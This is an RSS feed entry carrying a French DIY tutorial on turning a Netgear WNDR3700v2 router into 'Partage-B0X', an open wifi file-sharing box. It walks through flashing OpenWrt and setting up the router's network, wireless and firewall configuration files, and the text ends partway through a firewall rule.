<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Hackability</title>
	<atom:link href="http://thehackability.securithib.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://thehackability.securithib.com</link>
	<description>The results of an attack vector story</description>
	<lastBuildDate>Sat, 12 May 2012 16:41:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Partage-B0X SOPA? MEGAUPLOAD CLOSED!? THINK LOCAL =]</title>
		<link>http://thehackability.securithib.com/?p=1004</link>
		<comments>http://thehackability.securithib.com/?p=1004#comments</comments>
		<pubDate>Sat, 12 May 2012 16:36:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[DIY ( Do It Yourself)]]></category>

		<guid isPermaLink="false">http://thehackability.securithib.com/?p=1004</guid>
		<description><![CDATA[par llero (twitter @llero) Téléchargeable en version pdf : ici Présentation Inspirée par les deaddrops  ou widrops et autres piratebox ainsi que la loi Hadopi, voici la partageBox. La partageBox vous offre la possibilité de partager les fichiers de votre choix avec les autres utilisateurs via le wifi. Le fonctionnement est simple, vous vous connectez [...]]]></description>
			<content:encoded><![CDATA[<p><strong>par llero (twitter <a title="@llero" href="twitter.com/#!/llero">@llero</a>)</strong></p>
<p>Téléchargeable en version pdf : <a title="ici" href="http://attackvector.free.fr/diy/partage-b0x/">ici</a></p>
<div class="wp-caption alignleft" style="width: 233px"><img class=" " title="partage-B0X" src="http://attackvector.free.fr/diy/partage-b0x/img/partagebox.png" alt="partage-B0X" width="223" height="367" /><p class="wp-caption-text">partage-B0X</p></div>
<h2>Présentation</h2>
<p style="text-align: justify;">Inspirée par les <a title="deaddrops" href="https://deaddrops.com/">deaddrop</a>s  ou <a title="widrops" href="http://widrop.bzhack.org/">widrops</a> et autres <a title="Piratebox" href="http://wiki.daviddarts.com/PirateBox">piratebox </a> ainsi que la loi Hadopi, voici la partageBox. La partageBox vous offre la possibilité de partager les fichiers de votre choix avec les autres utilisateurs via le wifi. Le fonctionnement est simple, vous vous connectez sur le réseau wifi ouvert, identifiable facilement par son nom “Partage-B0x”. Ensuite lorsque vous saisissez une URL quelle qu&#8217;elle soit dans votre navigateur, elle est redirigée automatiquement vers une page d&#8217;information. Il y figure une explication du projet et les accès au serveur de fichiers. Sur le serveur de fichier vous pouvez déposer vos fichiers et télécharger ceux mis à disposition par les autres utilisateurs.</p>
<h2>Pourquoi ne pas s&#8217;être contenté de reprendre le travail proposé par David Darts (piratebox) ?</h2>
<p style="text-align: justify;">Bien qu&#8217;elle en soit fortement inspirée, la partage-box a été recréée de zéro pour avoir une maîtrise complète de son fonctionnement. Dans le même temps, un effort de simplification de la configuration a été fait. Il ne s&#8217;agissait pas de fournir un fichier binaire tout fait de la partagebox pour pouvoir la cloner mais un guide permettant de comprendre son fonctionnement.</p>
<p style="text-align: justify;">Il est plus aisé par la suite de la reproduire aisément sur d&#8217;autres modèles de routeurs ou même de l&#8217;enrichir. Techniquement la partagebox repose sur un routeur (Netgear <a title="wndr3700v2" href="http://www.pixmania.com/fr/fr/3441167/art/netgear/routeur-wifi-wndr3700.html">wndr3700v2</a> dans notre cas) qui dispose d&#8217;un petit processeur et de suffisamment de ram pour y faire fonctionner quelques applications.</p>
<p style="text-align: justify;"><a title="Openwrt" href="https://openwrt.org/"> Openwrt </a>, une distribution Linux vient remplacer le firmware d&#8217;origine. Un firewall, un portail captif, un serveur web (uhttpd) ainsi qu&#8217;un serveur ftp (vsftpd) y sont installés pour couvrir le besoin de fonctionnalités. Cet article décrit tout le processus de création de la partagebox. Il vous permettra de la reproduire, voir même de l&#8217;améliorer (ce n&#8217;est qu&#8217;un début).</p>
<p style="text-align: justify;">
<h2>1 Installation OpenWrt</h2>
<div id="_mcePaste" style="text-align: justify;">Tout d&#8217;abord nous allons récupérer la dernière version d&#8217;OpenWrt correspondant à notre routeur. A l&#8217;heure actuelle, pour le wndr3700v2 seule la version de développement apporte un support complet. Nous téléchargerons donc le firmware suivant : openwrt-ar71xx-generic-wndr3700v2-squashfs-factory.img   <a title="ar71xx" href="http://downloads.openwrt.org/snapshots/trunk/ar71xx/openwrt-ar71xx-generic-wndr3700v2-squashfs-factory.img">ar71xx </a>correspond à l&#8217;architecture de notre routeur, squashfs est le système de fichier habituellement recommandé et la version dite factory est utilisée pour un flashage depuis de firmware d&#8217;origine. Pour les autres modèles de routeurs supportés par OpenWrt, la page du matériel supporté [<a title="wiki" href="http://wiki.openwrt.org/toh/start">wiki</a>] vous apportera les informations utiles pour connaitre la version à télécharger, ainsi que d&#8217;autres spécificités concernant le modèle que vous avez choisi.</div>
<div id="_mcePaste" style="text-align: justify;">Vous pouvez désormais procéder aux étapes suivantes :</div>
<div id="_mcePaste" style="text-align: justify;">1. Branchez le routeur</div>
<div id="_mcePaste" style="text-align: justify;">2. Connectez un câble RJ45 entre votre ordinateur et un port du switch</div>
<div id="_mcePaste" style="text-align: justify;">3. Maintenant connectez vous à son interface d&#8217;origine (http://192.168.1.1)login : admin, password : password</div>
<div id="_mcePaste" style="text-align: justify;">4. Accédez au menu de “mise à jour” et chargez la version d&#8217;Openwrt que vous venez d&#8217;obtenir. La mise à jour prend une minute ou</div>
<div id="_mcePaste" style="text-align: justify;">deux.</div>
<div style="text-align: justify;">
<div class="wp-caption alignnone" style="width: 615px"><img class=" " title="partage-b0x interface" src="http://attackvector.free.fr/diy/partage-b0x/img/partagebox%20interface.png" alt="partage-b0x interface" width="605" height="368" /><p class="wp-caption-text">partage-b0x interface</p></div>
<div style="text-align: justify;">Désormais vous pouvez accéder à votre routeur flashé via telnet.</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ telnet 192.168.1.1 </span></div>
<div style="text-align: left;"><span style="color: #800000;">BusyBox v1.18.4 (2011-06-10 03:20:21 CEST) built-in shell (ash) </span></div>
<div style="text-align: left;"><span style="color: #800000;">Enter &#8216;help&#8217; for a list of built-in commands. </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;">W I R E L E S S F R E E D O M </span></div>
<div style="text-align: left;"><span style="color: #800000;">ATTITUDE ADJUSTMENT (bleeding edge, r27153) </span></div>
<div style="text-align: left;"><span style="color: #800000;">* 1/4 oz Vodka Pour all ingredients into mixing </span></div>
<div style="text-align: left;"><span style="color: #800000;">* 1/4 oz Gin tin with ice, strain into glass. </span></div>
<div style="text-align: left;"><span style="color: #800000;">* 1/4 oz Amaretto </span></div>
<div style="text-align: left;"><span style="color: #800000;">* 1/4 oz Triple sec </span></div>
<div style="text-align: left;"><span style="color: #800000;">* 1/4 oz Peach schnapps </span></div>
<div style="text-align: left;"><span style="color: #800000;">* 1/4 oz Sour mix </span></div>
<div style="text-align: left;"><span style="color: #800000;">* 1 splash Cranberry juice </span></div>
<div style="text-align: left;"><span style="color: #800000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; </span></div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ </span></div>
<div style="text-align: justify;">Vous devez ensuite mettre en place le mot de passe root. Ceci désactivera par ailleurs le service telnet et activera ssh à sa place.</div>
<div style="text-align: justify;"><span style="color: #800000;">root@openwrt:~$ passwd </span></div>
<div style="text-align: justify;">Si ni telnet, ni ssh ne sont accessibles suite à cette manipulation, tentez de rebooter le routeur. Votre routeur est fonctionnel mais le réseau n&#8217;est pas entièrement configuré pour l&#8217;instant, c&#8217;est l&#8217;étape suivante de ce guide.</div>
<h2>2 Configuration de base</h2>
<div style="text-align: justify;">Avant de configurer les services qui seront utilisés pour partager les fichiers, nous devons tout d&#8217;abord mettre en place la structure du réseau. Il faut également installer le support des périphériques de stockage usb pour pouvoir entreposer les futures données.</div>
<h3>2.1 Configuration réseau</h3>
<div style="text-align: justify;">Le routeur wndr3700 dispose d&#8217;un port réseau relié au modem en plus d&#8217;un switch 4 ports et de deux radios wifi. Ces éléments sont regroupés en deux interfaces réseau avec pour chacun une zone firewall associée:</div>
<div style="text-align: justify;">wan : l&#8217;interface modem</div>
<div style="text-align: justify;">lan : le réseau local (switch + wifi)</div>
<div style="text-align: justify;">Une première étape consiste à séparer le réseau wifi du réseau filaire (switch). Ceci permettra d&#8217;appliquer des règles de sécurité plus strictes aux clients wifi. Nous allons donc créer une nouvelle interface wifi indépendante des autres interfaces.</div>
<div style="text-align: justify;">Le fichier a éditer pour cela est le fichier<span style="color: #800000;"> /etc/config/network</span> Nous y ajouterons la section suivante, qui décrit la nouvelle interface wifi, son adresse ip et son masque.</div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;interface&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;proto&#8217; &#8216;static&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ipaddr&#8217; &#8217;192.168.2.1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;netmask&#8217; &#8217;255.255.255.0&#8242;</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;">Ainsi modifié le fichier<span style="color: #800000;"> /etc/config/network</span> doit ressembler à cela : (Vous pouvez le télécharger en cliquant sur l&#8217;entête)</div>
<div style="text-align: left;"><span style="color: #800000;">network </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;interface&#8217; &#8216;loopback&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ifname&#8217; &#8216;lo&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;proto&#8217; &#8216;static&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ipaddr&#8217; &#8217;127.0.0.1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;netmask&#8217; &#8217;255.0.0.0&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;interface&#8217; &#8216;lan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ifname&#8217; &#8216;eth0.1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;type&#8217; &#8216;bridge&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;proto&#8217; &#8216;static&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ipaddr&#8217; &#8217;192.168.1.1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;netmask&#8217; &#8217;255.255.255.0&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;interface&#8217; &#8216;wan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ifname&#8217; &#8216;eth1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;proto&#8217; &#8216;dhcp&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;switch&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;name&#8217; &#8216;rtl8366s&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;reset&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;enable_vlan&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;blinkrate&#8217; &#8217;2&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;switch_vlan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;device&#8217; &#8216;rtl8366s&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;vlan&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ports&#8217; &#8217;0 1 2 3 5t&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;switch_port&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;device&#8217; &#8216;rtl8366s&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;port&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;led&#8217; &#8217;6&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;switch_port&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;device&#8217; &#8216;rtl8366s&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;port&#8217; &#8217;2&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;led&#8217; &#8217;9&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;switch_port&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;device&#8217; &#8216;rtl8366s&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;port&#8217; &#8217;5&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;led&#8217; &#8217;2&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;interface&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;proto&#8217; &#8216;static&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ipaddr&#8217; &#8217;192.168.2.1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;netmask&#8217; &#8217;255.255.255.0&#8242;</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Maintenant que l&#8217;interface wifi existe nous allons pouvoir configurer les deux radios wifi et les y ajouter. Cela se passe dans le fichier <span style="color: #800000;">/etc/config/wireless</span>. On y retrouve deux types de sections wifi-device et wifi-iface. La première décrit la configuration matérielle d&#8217;une radio. La seconde décrit l&#8217;interface à laquelle elle est rattachée, son mode de fonctionnement (access point, ad-hoc, …), le cryptage et diverses autres options. Le wndr3700 possède deux radios radio0 et radio1. Nous n&#8217;utiliserons que radio0, radio1 fonctionne sur du 5ghz mais sa configuration est à peu près similaire si vous souhaitez l&#8217;utiliser.</div>
<div style="text-align: justify;">Activons-les :</div>
<div style="text-align: justify;"><span style="color: #800000;">option &#8216;disabled&#8217; &#8217;0&#8242; </span></div>
<div style="text-align: justify;">précisons notre code pays (régulation de la puissance d&#8217;émission, canaux utilisés)</div>
<div style="text-align: justify;"><span style="color: #800000;">option &#8216;country&#8217; &#8216;FR&#8217; </span></div>
<div style="text-align: justify;">et la puissance d&#8217;émission (maximale)</div>
<div style="text-align: justify;"><span style="color: #800000;">option &#8216;txpower&#8217; &#8217;20&#8242;</span></div>
<div style="text-align: justify;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Configurons maintenant la section &#8216;wifi-device&#8217; associée</div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;wifi-iface&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;device&#8217; &#8216;radio0&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;mode&#8217; &#8216;ap&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;network&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ssid&#8217; &#8216;PARTAGE-B0x&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;encryption&#8217; &#8216;none&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;isolate&#8217; &#8217;1&#8242;</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">La radio correspondante est spécifiée par l&#8217;option device. Nous utiliserons le mode ap pour access point. Nous l&#8217;associons à la nouvelle interface réseau que nous venons de créer (option &#8216;network&#8217; &#8216;wifi&#8217;). Baptisons notre wifi PARTAGE-B0x. Notre réseau ne sera pas crypté (encryption none). La dernière option isolate 1 est très importante pour la sécurité de vos futurs utilisateurs. Elle permet leur isolation. Cela signifie que deux utilisateurs connectés simultanément ne pourront communiquer entre-eux directement et donc s&#8217;attaquer.</div>
<div style="text-align: justify;">Voici le fichier <span style="color: #800000;">/etc/config/wireless</span> final</div>
<div style="text-align: left;"><span style="color: #000000;">wireless </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;wifi-device&#8217; &#8216;radio0&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;type&#8217; &#8216;mac80211&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;channel&#8217; &#8217;11&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;macaddr&#8217; &#8216;a0:21:b7:ac:bc:e3&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;hwmode&#8217; &#8217;11ng&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;htmode&#8217; &#8216;HT20&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>list &#8216;ht_capab&#8217; &#8216;SHORT-GI-40&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>list &#8216;ht_capab&#8217; &#8216;TX-STBC&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>list &#8216;ht_capab&#8217; &#8216;RX-STBC1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>list &#8216;ht_capab&#8217; &#8216;DSSS_CCK-40&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;country&#8217; &#8216;FR&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;txpower&#8217; &#8217;20&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;disabled&#8217; &#8217;0&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;wifi-iface&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;device&#8217; &#8216;radio0&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;mode&#8217; &#8216;ap&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;network&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ssid&#8217; &#8216;PARTAGE-B0x&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;encryption&#8217; &#8216;none&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;isolate&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;wifi-device&#8217; &#8216;radio1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;type&#8217; &#8216;mac80211&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;channel&#8217; &#8217;36&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;macaddr&#8217; &#8216;a0:21:b7:ac:bc:e5&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;hwmode&#8217; &#8217;11na&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;">option &#8216;htmode&#8217; &#8216;HT20&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>list &#8216;ht_capab&#8217; &#8216;SHORT-GI-40&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>list &#8216;ht_capab&#8217; &#8216;TX-STBC&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>list &#8216;ht_capab&#8217; &#8216;RX-STBC1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>list &#8216;ht_capab&#8217; &#8216;DSSS_CCK-40&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;txpower&#8217; &#8217;17&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;country&#8217; &#8216;FR&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;disabled&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;wifi-iface&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;device&#8217; &#8216;radio1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;network&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;mode&#8217; &#8216;ap&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ssid&#8217; &#8216;OpenWrt&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;encryption&#8217; &#8216;none&#8217;</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Passons maintenant à la configuration du firewall. Elle se trouve dans le fichier /etc/config/firewall .Nous allons y ajouter une zone correspondant à l&#8217;interface wifi</div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;zone&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;name&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;network&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;input&#8217; &#8216;ACCEPT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;output&#8217; &#8216;ACCEPT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;forward&#8217; &#8216;DROP&#8217;</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Ainsi qu&#8217;une règle interdisant l&#8217;accès ssh pour les utilisateurs du wifi</div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;rule&#8217;</span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;src&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;dest_port&#8217; &#8217;22&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;target&#8217; &#8216;DROP&#8217;</span></div>
<div style="text-align: justify;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">fichier<span style="color: #800000;"> /etc/config/firewall</span> complet :</div>
<div style="text-align: left;"><span><span style="color: #000000;">firewall</span></span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;defaults&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;syn_flood&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;input&#8217; &#8216;ACCEPT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;output&#8217; &#8216;ACCEPT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;forward&#8217; &#8216;REJECT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;drop_invalid&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;zone&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;name&#8217; &#8216;lan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;network&#8217; &#8216;lan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;input&#8217; &#8216;ACCEPT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;output&#8217; &#8216;ACCEPT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;forward&#8217; &#8216;REJECT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;zone&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;name&#8217; &#8216;wan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;network&#8217; &#8216;wan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;input&#8217; &#8216;REJECT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;output&#8217; &#8216;ACCEPT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;forward&#8217; &#8216;REJECT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;">option &#8216;masq&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;mtu_fix&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;zone&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;name&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;network&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;input&#8217; &#8216;ACCEPT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;output&#8217; &#8216;ACCEPT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;forward&#8217; &#8216;DROP&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;rule&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;src&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;dest_port&#8217; &#8217;22&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;target&#8217; &#8216;DROP&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;rule&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;src&#8217; &#8216;wan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;proto&#8217; &#8216;udp&#8217; </span></div>
